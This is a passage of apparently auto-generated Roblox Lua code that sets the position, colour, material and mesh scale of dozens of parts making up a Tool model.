- BlockMesh49.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
- Part50.Parent = Tool0
- Part50.Material = Enum.Material.Metal
- Part50.BrickColor = BrickColor.new("Dark stone grey")
- Part50.Rotation = Vector3.new(90, 0, -180)
- Part50.Anchored = true
- Part50.FormFactor = Enum.FormFactor.Custom
- Part50.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part50.CFrame = CFrame.new(144.866272, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part50.BottomSurface = Enum.SurfaceType.Smooth
- Part50.TopSurface = Enum.SurfaceType.Smooth
- Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part50.Position = Vector3.new(144.866272, 4.00324106, 144.337601)
- Part50.Orientation = Vector3.new(90, 180, 0)
- Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh51.Parent = Part50
- BlockMesh51.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
- BlockMesh51.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
- Part52.Parent = Tool0
- Part52.Material = Enum.Material.Metal
- Part52.BrickColor = BrickColor.new("Dark stone grey")
- Part52.Rotation = Vector3.new(90, 0, -180)
- Part52.Anchored = true
- Part52.FormFactor = Enum.FormFactor.Custom
- Part52.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part52.CFrame = CFrame.new(143.222946, 4.0732379, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part52.BottomSurface = Enum.SurfaceType.Smooth
- Part52.TopSurface = Enum.SurfaceType.Smooth
- Part52.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part52.Position = Vector3.new(143.222946, 4.0732379, 144.370956)
- Part52.Orientation = Vector3.new(90, 180, 0)
- Part52.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh53.Parent = Part52
- BlockMesh53.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
- BlockMesh53.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
- Part54.Parent = Tool0
- Part54.Material = Enum.Material.Metal
- Part54.BrickColor = BrickColor.new("Black")
- Part54.Rotation = Vector3.new(90, 0, -180)
- Part54.Anchored = true
- Part54.FormFactor = Enum.FormFactor.Custom
- Part54.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part54.CFrame = CFrame.new(143.082932, 3.926579, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part54.BottomSurface = Enum.SurfaceType.Smooth
- Part54.TopSurface = Enum.SurfaceType.Smooth
- Part54.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part54.Position = Vector3.new(143.082932, 3.926579, 144.387604)
- Part54.Orientation = Vector3.new(90, 180, 0)
- Part54.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh55.Parent = Part54
- CylinderMesh55.Scale = Vector3.new(0.366666675, 0.733333051, 0.366666675)
- CylinderMesh55.Scale = Vector3.new(0.366666675, 0.733333051, 0.366666675)
- Part56.Parent = Tool0
- Part56.Material = Enum.Material.Metal
- Part56.BrickColor = BrickColor.new("Dark stone grey")
- Part56.Rotation = Vector3.new(-90, 0, 90)
- Part56.Anchored = true
- Part56.FormFactor = Enum.FormFactor.Custom
- Part56.Size = Vector3.new(0.200000003, 0.906666636, 0.200000003)
- Part56.CFrame = CFrame.new(144.186279, 3.97324896, 144.324265, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part56.BottomSurface = Enum.SurfaceType.Smooth
- Part56.TopSurface = Enum.SurfaceType.Smooth
- Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part56.Position = Vector3.new(144.186279, 3.97324896, 144.324265)
- Part56.Orientation = Vector3.new(-90, 90, 0)
- Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh57.Parent = Part56
- BlockMesh57.Scale = Vector3.new(0.266666532, 1, 0.166666672)
- BlockMesh57.Scale = Vector3.new(0.266666532, 1, 0.166666672)
- Part58.Parent = Tool0
- Part58.Material = Enum.Material.Metal
- Part58.BrickColor = BrickColor.new("Dark stone grey")
- Part58.Rotation = Vector3.new(90, 0, -90)
- Part58.Anchored = true
- Part58.FormFactor = Enum.FormFactor.Custom
- Part58.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part58.CFrame = CFrame.new(144.389603, 3.99991298, 144.487595, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part58.BottomSurface = Enum.SurfaceType.Smooth
- Part58.TopSurface = Enum.SurfaceType.Smooth
- Part58.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part58.Position = Vector3.new(144.389603, 3.99991298, 144.487595)
- Part58.Orientation = Vector3.new(90, 90, 0)
- Part58.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh59.Parent = Part58
- SpecialMesh59.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
- SpecialMesh59.MeshType = Enum.MeshType.Wedge
- SpecialMesh59.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
- Part60.Parent = Tool0
- Part60.Material = Enum.Material.Metal
- Part60.BrickColor = BrickColor.new("Dark stone grey")
- Part60.Rotation = Vector3.new(-90, 0, 90)
- Part60.Anchored = true
- Part60.FormFactor = Enum.FormFactor.Custom
- Part60.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
- Part60.CFrame = CFrame.new(145.319595, 3.83324599, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part60.BottomSurface = Enum.SurfaceType.Smooth
- Part60.TopSurface = Enum.SurfaceType.Smooth
- Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part60.Position = Vector3.new(145.319595, 3.83324599, 144.39093)
- Part60.Orientation = Vector3.new(-90, 90, 0)
- Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh61.Parent = Part60
- CylinderMesh61.Scale = Vector3.new(0.586666465, 1, 0.403333157)
- CylinderMesh61.Scale = Vector3.new(0.586666465, 1, 0.403333157)
- Part62.Parent = Tool0
- Part62.Material = Enum.Material.Metal
- Part62.BrickColor = BrickColor.new("Black")
- Part62.Rotation = Vector3.new(-90, -15.0099993, 0)
- Part62.Anchored = true
- Part62.FormFactor = Enum.FormFactor.Custom
- Part62.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part62.CFrame = CFrame.new(143.101059, 3.81787395, 144.4776, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
- Part62.BottomSurface = Enum.SurfaceType.Smooth
- Part62.TopSurface = Enum.SurfaceType.Smooth
- Part62.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part62.Position = Vector3.new(143.101059, 3.81787395, 144.4776)
- Part62.Orientation = Vector3.new(-74.9899979, -90, 90)
- Part62.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh63.Parent = Part62
- CylinderMesh63.Scale = Vector3.new(3.33333373, 0.166666359, 0.333333343)
- CylinderMesh63.Scale = Vector3.new(3.33333373, 0.166666359, 0.333333343)
- Part64.Parent = Tool0
- Part64.Material = Enum.Material.Metal
- Part64.BrickColor = BrickColor.new("Dark stone grey")
- Part64.Rotation = Vector3.new(90, 0, -180)
- Part64.Anchored = true
- Part64.FormFactor = Enum.FormFactor.Custom
- Part64.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part64.CFrame = CFrame.new(143.156265, 4.01324177, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part64.BottomSurface = Enum.SurfaceType.Smooth
- Part64.TopSurface = Enum.SurfaceType.Smooth
- Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part64.Position = Vector3.new(143.156265, 4.01324177, 144.347595)
- Part64.Orientation = Vector3.new(90, 180, 0)
- Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh65.Parent = Part64
- BlockMesh65.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
- BlockMesh65.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
- Part66.Parent = Tool0
- Part66.Material = Enum.Material.Metal
- Part66.BrickColor = BrickColor.new("Dark stone grey")
- Part66.Rotation = Vector3.new(90, 0, -180)
- Part66.Anchored = true
- Part66.FormFactor = Enum.FormFactor.Custom
- Part66.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part66.CFrame = CFrame.new(143.222946, 4.05991077, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part66.BottomSurface = Enum.SurfaceType.Smooth
- Part66.TopSurface = Enum.SurfaceType.Smooth
- Part66.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part66.Position = Vector3.new(143.222946, 4.05991077, 144.39093)
- Part66.Orientation = Vector3.new(90, 180, 0)
- Part66.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh67.Parent = Part66
- BlockMesh67.Scale = Vector3.new(0.0233333316, 0.0666666701, 0.0599999949)
- BlockMesh67.Scale = Vector3.new(0.0233333316, 0.0666666701, 0.0599999949)
- Part68.Parent = Tool0
- Part68.Material = Enum.Material.Metal
- Part68.BrickColor = BrickColor.new("Dark stone grey")
- Part68.Rotation = Vector3.new(-90, -90, 0)
- Part68.Anchored = true
- Part68.FormFactor = Enum.FormFactor.Custom
- Part68.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part68.CFrame = CFrame.new(144.562943, 3.93990898, 144.474274, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part68.BottomSurface = Enum.SurfaceType.Smooth
- Part68.TopSurface = Enum.SurfaceType.Smooth
- Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part68.Position = Vector3.new(144.562943, 3.93990898, 144.474274)
- Part68.Orientation = Vector3.new(0, -90, 90)
- Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh69.Parent = Part68
- BlockMesh69.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
- BlockMesh69.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
- Part70.Parent = Tool0
- Part70.Material = Enum.Material.Metal
- Part70.BrickColor = BrickColor.new("Dark stone grey")
- Part70.Rotation = Vector3.new(90, 0, -180)
- Part70.Anchored = true
- Part70.FormFactor = Enum.FormFactor.Custom
- Part70.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part70.CFrame = CFrame.new(143.239609, 4.01657677, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part70.BottomSurface = Enum.SurfaceType.Smooth
- Part70.TopSurface = Enum.SurfaceType.Smooth
- Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part70.Position = Vector3.new(143.239609, 4.01657677, 144.347595)
- Part70.Orientation = Vector3.new(90, 180, 0)
- Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh71.Parent = Part70
- BlockMesh71.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
- BlockMesh71.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
- Part72.Parent = Tool0
- Part72.Material = Enum.Material.Metal
- Part72.BrickColor = BrickColor.new("Black")
- Part72.Rotation = Vector3.new(-90, -15.0099993, -90)
- Part72.Anchored = true
- Part72.FormFactor = Enum.FormFactor.Custom
- Part72.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part72.CFrame = CFrame.new(143.124802, 3.89670396, 144.4776, 0, 0.965896666, -0.258930802, 0, 0.258930802, 0.965896666, 1, 0, -0)
- Part72.BottomSurface = Enum.SurfaceType.Smooth
- Part72.TopSurface = Enum.SurfaceType.Smooth
- Part72.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part72.Position = Vector3.new(143.124802, 3.89670396, 144.4776)
- Part72.Orientation = Vector3.new(-74.9899979, -90, 0)
- Part72.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh73.Parent = Part72
- SpecialMesh73.Scale = Vector3.new(0.166666433, 0.100000009, 0.666666746)
- SpecialMesh73.MeshType = Enum.MeshType.Wedge
- SpecialMesh73.Scale = Vector3.new(0.166666433, 0.100000009, 0.666666746)
- Part74.Parent = Tool0
- Part74.Material = Enum.Material.Metal
- Part74.BrickColor = BrickColor.new("Black")
- Part74.Rotation = Vector3.new(-90, 0, 90)
- Part74.Anchored = true
- Part74.FormFactor = Enum.FormFactor.Custom
- Part74.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part74.CFrame = CFrame.new(144.92627, 3.79991198, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part74.BottomSurface = Enum.SurfaceType.Smooth
- Part74.TopSurface = Enum.SurfaceType.Smooth
- Part74.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part74.Position = Vector3.new(144.92627, 3.79991198, 144.39093)
- Part74.Orientation = Vector3.new(-90, 90, 0)
- Part74.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh75.Parent = Part74
- BlockMesh75.Scale = Vector3.new(0.733332694, 0.933333397, 0.166666672)
- BlockMesh75.Scale = Vector3.new(0.733332694, 0.933333397, 0.166666672)
- Part76.Parent = Tool0
- Part76.Material = Enum.Material.Metal
- Part76.BrickColor = BrickColor.new("Black")
- Part76.Rotation = Vector3.new(0, 90, 0)
- Part76.Anchored = true
- Part76.FormFactor = Enum.FormFactor.Custom
- Part76.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part76.CFrame = CFrame.new(144.469604, 3.84324098, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part76.BottomSurface = Enum.SurfaceType.Smooth
- Part76.TopSurface = Enum.SurfaceType.Smooth
- Part76.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part76.Position = Vector3.new(144.469604, 3.84324098, 144.500931)
- Part76.Orientation = Vector3.new(0, 90, 0)
- Part76.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh77.Parent = Part76
- BlockMesh77.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
- BlockMesh77.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
- Part78.Parent = Tool0
- Part78.Material = Enum.Material.Metal
- Part78.BrickColor = BrickColor.new("Dark stone grey")
- Part78.Rotation = Vector3.new(90, 0, -180)
- Part78.Anchored = true
- Part78.FormFactor = Enum.FormFactor.Custom
- Part78.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part78.CFrame = CFrame.new(143.222946, 4.0665741, 144.420929, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part78.BottomSurface = Enum.SurfaceType.Smooth
- Part78.TopSurface = Enum.SurfaceType.Smooth
- Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part78.Position = Vector3.new(143.222946, 4.0665741, 144.420929)
- Part78.Orientation = Vector3.new(90, 180, 0)
- Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh79.Parent = Part78
- BlockMesh79.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
- BlockMesh79.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
- Part80.Parent = Tool0
- Part80.Material = Enum.Material.Metal
- Part80.BrickColor = BrickColor.new("Dark stone grey")
- Part80.Rotation = Vector3.new(90, 0, -180)
- Part80.Anchored = true
- Part80.FormFactor = Enum.FormFactor.Custom
- Part80.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part80.CFrame = CFrame.new(143.222946, 4.08657122, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part80.BottomSurface = Enum.SurfaceType.Smooth
- Part80.TopSurface = Enum.SurfaceType.Smooth
- Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part80.Position = Vector3.new(143.222946, 4.08657122, 144.39093)
- Part80.Orientation = Vector3.new(90, 180, 0)
- Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh81.Parent = Part80
- BlockMesh81.Scale = Vector3.new(0.0233333316, 0.266666651, 0.0599999949)
- BlockMesh81.Scale = Vector3.new(0.0233333316, 0.266666651, 0.0599999949)
- Part82.Parent = Tool0
- Part82.Material = Enum.Material.Metal
- Part82.BrickColor = BrickColor.new("Dark stone grey")
- Part82.Rotation = Vector3.new(90, 0, -180)
- Part82.Anchored = true
- Part82.FormFactor = Enum.FormFactor.Custom
- Part82.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part82.CFrame = CFrame.new(143.1996, 4.04323912, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part82.BottomSurface = Enum.SurfaceType.Smooth
- Part82.TopSurface = Enum.SurfaceType.Smooth
- Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part82.Position = Vector3.new(143.1996, 4.04323912, 144.347595)
- Part82.Orientation = Vector3.new(90, 180, 0)
- Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh83.Parent = Part82
- BlockMesh83.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
- BlockMesh83.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
- Part84.Parent = Tool0
- Part84.Material = Enum.Material.Metal
- Part84.BrickColor = BrickColor.new("Dark stone grey")
- Part84.Rotation = Vector3.new(90, 0, -180)
- Part84.Anchored = true
- Part84.FormFactor = Enum.FormFactor.Custom
- Part84.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part84.CFrame = CFrame.new(143.219604, 3.97324896, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part84.BottomSurface = Enum.SurfaceType.Smooth
- Part84.TopSurface = Enum.SurfaceType.Smooth
- Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part84.Position = Vector3.new(143.219604, 3.97324896, 144.39093)
- Part84.Orientation = Vector3.new(90, 180, 0)
- Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh85.Parent = Part84
- BlockMesh85.Scale = Vector3.new(0.99999994, 0.73333329, 0.166666657)
- BlockMesh85.Scale = Vector3.new(0.99999994, 0.73333329, 0.166666657)
- Part86.Parent = Tool0
- Part86.Material = Enum.Material.Metal
- Part86.BrickColor = BrickColor.new("Dark stone grey")
- Part86.Rotation = Vector3.new(90, 0, -180)
- Part86.Anchored = true
- Part86.FormFactor = Enum.FormFactor.Custom
- Part86.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part86.CFrame = CFrame.new(144.936279, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part86.BottomSurface = Enum.SurfaceType.Smooth
- Part86.TopSurface = Enum.SurfaceType.Smooth
- Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part86.Position = Vector3.new(144.936279, 4.00324106, 144.337601)
- Part86.Orientation = Vector3.new(90, 180, 0)
- Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh87.Parent = Part86
- BlockMesh87.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
- BlockMesh87.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
- Part88.Parent = Tool0
- Part88.Material = Enum.Material.Metal
- Part88.BrickColor = BrickColor.new("Dark stone grey")
- Part88.Rotation = Vector3.new(90, 0, -180)
- Part88.Anchored = true
- Part88.FormFactor = Enum.FormFactor.Custom
- Part88.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part88.CFrame = CFrame.new(143.162933, 4.03324223, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part88.BottomSurface = Enum.SurfaceType.Smooth
- Part88.TopSurface = Enum.SurfaceType.Smooth
- Part88.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part88.Position = Vector3.new(143.162933, 4.03324223, 144.434265)
- Part88.Orientation = Vector3.new(90, 180, 0)
- Part88.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh89.Parent = Part88
- CylinderMesh89.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
- CylinderMesh89.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
- Part90.Parent = Tool0
- Part90.Material = Enum.Material.Metal
- Part90.BrickColor = BrickColor.new("Dark stone grey")
- Part90.Rotation = Vector3.new(90, 0, -180)
- Part90.Anchored = true
- Part90.FormFactor = Enum.FormFactor.Custom
- Part90.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part90.CFrame = CFrame.new(143.222946, 4.02657318, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part90.BottomSurface = Enum.SurfaceType.Smooth
- Part90.TopSurface = Enum.SurfaceType.Smooth
- Part90.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part90.Position = Vector3.new(143.222946, 4.02657318, 144.39093)
- Part90.Orientation = Vector3.new(90, 180, 0)
- Part90.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh91.Parent = Part90
- BlockMesh91.Scale = Vector3.new(0.0333333351, 0.400000066, 0.300000012)
- BlockMesh91.Scale = Vector3.new(0.0333333351, 0.400000066, 0.300000012)
- Part92.Parent = Tool0
- Part92.Material = Enum.Material.Metal
- Part92.BrickColor = BrickColor.new("Black")
- Part92.Rotation = Vector3.new(-90, -90, 0)
- Part92.Anchored = true
- Part92.FormFactor = Enum.FormFactor.Custom
- Part92.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part92.CFrame = CFrame.new(144.409607, 3.79658198, 144.28093, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part92.BottomSurface = Enum.SurfaceType.Smooth
- Part92.TopSurface = Enum.SurfaceType.Smooth
- Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part92.Position = Vector3.new(144.409607, 3.79658198, 144.28093)
- Part92.Orientation = Vector3.new(0, -90, 90)
- Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh93.Parent = Part92
- BlockMesh93.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
- BlockMesh93.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
- Part94.Parent = Tool0
- Part94.Material = Enum.Material.Metal
- Part94.BrickColor = BrickColor.new("Dark stone grey")
- Part94.Rotation = Vector3.new(90, 0, -180)
- Part94.Anchored = true
- Part94.FormFactor = Enum.FormFactor.Custom
- Part94.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part94.CFrame = CFrame.new(143.196274, 4.01657677, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part94.BottomSurface = Enum.SurfaceType.Smooth
- Part94.TopSurface = Enum.SurfaceType.Smooth
- Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part94.Position = Vector3.new(143.196274, 4.01657677, 144.347595)
- Part94.Orientation = Vector3.new(90, 180, 0)
- Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh95.Parent = Part94
- BlockMesh95.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
- BlockMesh95.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
- Part96.Parent = Tool0
- Part96.Material = Enum.Material.Metal
- Part96.BrickColor = BrickColor.new("Really black")
- Part96.Rotation = Vector3.new(-90, 0, -90)
- Part96.Anchored = true
- Part96.FormFactor = Enum.FormFactor.Custom
- Part96.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part96.CFrame = CFrame.new(145.482986, 3.83138299, 144.39093, 0, 1.00000083, 1.49011612e-08, 0, -1.49011612e-08, 1.00000083, 1, 0, 0)
- Part96.BottomSurface = Enum.SurfaceType.Smooth
- Part96.TopSurface = Enum.SurfaceType.Smooth
- Part96.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part96.Position = Vector3.new(145.482986, 3.83138299, 144.39093)
- Part96.Orientation = Vector3.new(-90, -90, 0)
- Part96.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- CylinderMesh97.Parent = Part96
- CylinderMesh97.Scale = Vector3.new(0.319999903, 0.036666669, 0.21999988)
- CylinderMesh97.Scale = Vector3.new(0.319999903, 0.036666669, 0.21999988)
- Part98.Parent = Tool0
- Part98.Material = Enum.Material.Metal
- Part98.BrickColor = BrickColor.new("Black")
- Part98.Rotation = Vector3.new(90, 0, 90)
- Part98.Anchored = true
- Part98.FormFactor = Enum.FormFactor.Custom
- Part98.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part98.CFrame = CFrame.new(143.77626, 3.40990996, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part98.BottomSurface = Enum.SurfaceType.Smooth
- Part98.TopSurface = Enum.SurfaceType.Smooth
- Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part98.Position = Vector3.new(143.77626, 3.40990996, 144.39093)
- Part98.Orientation = Vector3.new(90, -90, 0)
- Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh99.Parent = Part98
- BlockMesh99.Scale = Vector3.new(0.666666687, 0.100000024, 0.333333343)
- BlockMesh99.Scale = Vector3.new(0.666666687, 0.100000024, 0.333333343)
- Part100.Parent = Tool0
- Part100.Material = Enum.Material.Metal
- Part100.BrickColor = BrickColor.new("Dark stone grey")
- Part100.Rotation = Vector3.new(90, 0, -180)
- Part100.Anchored = true
- Part100.FormFactor = Enum.FormFactor.Custom
- Part100.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part100.CFrame = CFrame.new(143.219604, 4.02658176, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part100.BottomSurface = Enum.SurfaceType.Smooth
- Part100.TopSurface = Enum.SurfaceType.Smooth
- Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part100.Position = Vector3.new(143.219604, 4.02658176, 144.324265)
- Part100.Orientation = Vector3.new(90, 180, 0)
- Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh101.Parent = Part100
- CylinderMesh101.Scale = Vector3.new(30, 0.0666662827, 1)
- CylinderMesh101.Scale = Vector3.new(30, 0.0666662827, 1)
- Part102.Parent = Tool0
- Part102.Material = Enum.Material.Metal
- Part102.BrickColor = BrickColor.new("Dark stone grey")
- Part102.Rotation = Vector3.new(90, 0, -180)
- Part102.Anchored = true
- Part102.FormFactor = Enum.FormFactor.Custom
- Part102.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part102.CFrame = CFrame.new(143.219604, 4.04324293, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part102.BottomSurface = Enum.SurfaceType.Smooth
- Part102.TopSurface = Enum.SurfaceType.Smooth
- Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part102.Position = Vector3.new(143.219604, 4.04324293, 144.337601)
- Part102.Orientation = Vector3.new(90, 180, 0)
- Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh103.Parent = Part102
- BlockMesh103.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
- BlockMesh103.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
- Part104.Parent = Tool0
- Part104.Material = Enum.Material.Metal
- Part104.BrickColor = BrickColor.new("Dark stone grey")
- Part104.Rotation = Vector3.new(90, 0, -180)
- Part104.Anchored = true
- Part104.FormFactor = Enum.FormFactor.Custom
- Part104.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part104.CFrame = CFrame.new(143.196274, 4.01657677, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part104.BottomSurface = Enum.SurfaceType.Smooth
- Part104.TopSurface = Enum.SurfaceType.Smooth
- Part104.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part104.Position = Vector3.new(143.196274, 4.01657677, 144.434265)
- Part104.Orientation = Vector3.new(90, 180, 0)
- Part104.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh105.Parent = Part104
- BlockMesh105.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
- BlockMesh105.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
- Part106.Parent = Tool0
- Part106.Material = Enum.Material.Metal
- Part106.BrickColor = BrickColor.new("Black")
- Part106.Rotation = Vector3.new(-90, 0, 90)
- Part106.Anchored = true
- Part106.FormFactor = Enum.FormFactor.Custom
- Part106.Size = Vector3.new(0.213333324, 0.200000003, 0.200000003)
- Part106.CFrame = CFrame.new(143.67627, 3.76324797, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part106.BottomSurface = Enum.SurfaceType.Smooth
- Part106.TopSurface = Enum.SurfaceType.Smooth
- Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part106.Position = Vector3.new(143.67627, 3.76324797, 144.39093)
- Part106.Orientation = Vector3.new(-90, 90, 0)
- Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh107.Parent = Part106
- BlockMesh107.Scale = Vector3.new(1, 0.10000024, 0.333333373)
- BlockMesh107.Scale = Vector3.new(1, 0.10000024, 0.333333373)
- Part108.Parent = Tool0
- Part108.Material = Enum.Material.Metal
- Part108.BrickColor = BrickColor.new("Dark stone grey")
- Part108.Rotation = Vector3.new(90, 0, 90)
- Part108.Anchored = true
- Part108.FormFactor = Enum.FormFactor.Custom
- Part108.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part108.CFrame = CFrame.new(143.042938, 3.86991811, 144.387604, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part108.BottomSurface = Enum.SurfaceType.Smooth
- Part108.TopSurface = Enum.SurfaceType.Smooth
